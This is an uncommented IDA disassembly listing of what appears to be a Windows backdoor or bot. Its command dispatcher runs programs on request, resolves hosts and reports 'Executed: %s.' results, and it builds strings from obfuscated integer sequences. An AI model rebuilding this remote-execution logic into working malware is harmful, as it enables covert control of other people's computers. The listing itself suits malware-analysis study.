		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448C52
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C4E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C4E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D6089
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D6065
		call	sub_401D0C
		call	edi
		mov	dword_4D6089, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2840000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		nop
		call	near ptr 28304C1h
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_405668
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E35
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_447886
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447824
		mov	ecx, offset dword_448D60
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_4478CF
		test	al, al
		jz	short loc_404EF8
		push	offset byte_4478FF
		mov	ecx, offset dword_448D60
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448D60
		call	sub_401E5B
		mov	byte_4D607C, 0
		mov	byte_4E6E34, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_405668
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E4A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405026
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019B5
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_405026:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405144
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_405668
; ---------------------------------------------------------------------------


loc_405144:				; CODE XREF: sub_404C70+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405167
		mov	byte_4D607C, al
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_405167:				; CODE XREF: sub_404C70+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40542E
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F1
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_405668
; ---------------------------------------------------------------------------


loc_4051F1:				; CODE XREF: sub_404C70+56Bj
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C4
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A5
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540B
; ---------------------------------------------------------------------------


loc_4052C4:				; CODE XREF: sub_404C70+5C7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A5
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_4053A5:				; CODE XREF: sub_404C70+5E0j
					; sub_404C70+691j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540B:				; CODE XREF: sub_404C70+64Fj
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_40542E:				; CODE XREF: sub_404C70+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40551C
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019B5
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D6065
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E35
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_40551C:				; CODE XREF: sub_404C70+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40568A
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_40566D
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405624
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405642
; ---------------------------------------------------------------------------


loc_405624:				; CODE XREF: sub_404C70+997j
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405642:				; CODE XREF: sub_404C70+9B2j
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_405668:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_40566D:				; CODE XREF: sub_404C70+91Cj
					; sub_404C70+C6Aj
		xor	al, al


loc_40566F:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_40568A:				; CODE XREF: sub_404C70+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405700
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: sub_404C70+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F1
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E35
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E35
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D6065
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_4057F1:				; CODE XREF: sub_404C70+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058C5
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_405859
		mov	ebx, 7


loc_405859:				; CODE XREF: sub_404C70+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F20
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058AE
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118


loc_4058AE:				; CODE XREF: sub_404C70+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_40566F
; ---------------------------------------------------------------------------


loc_4058C5:				; CODE XREF: sub_404C70+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40566D
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
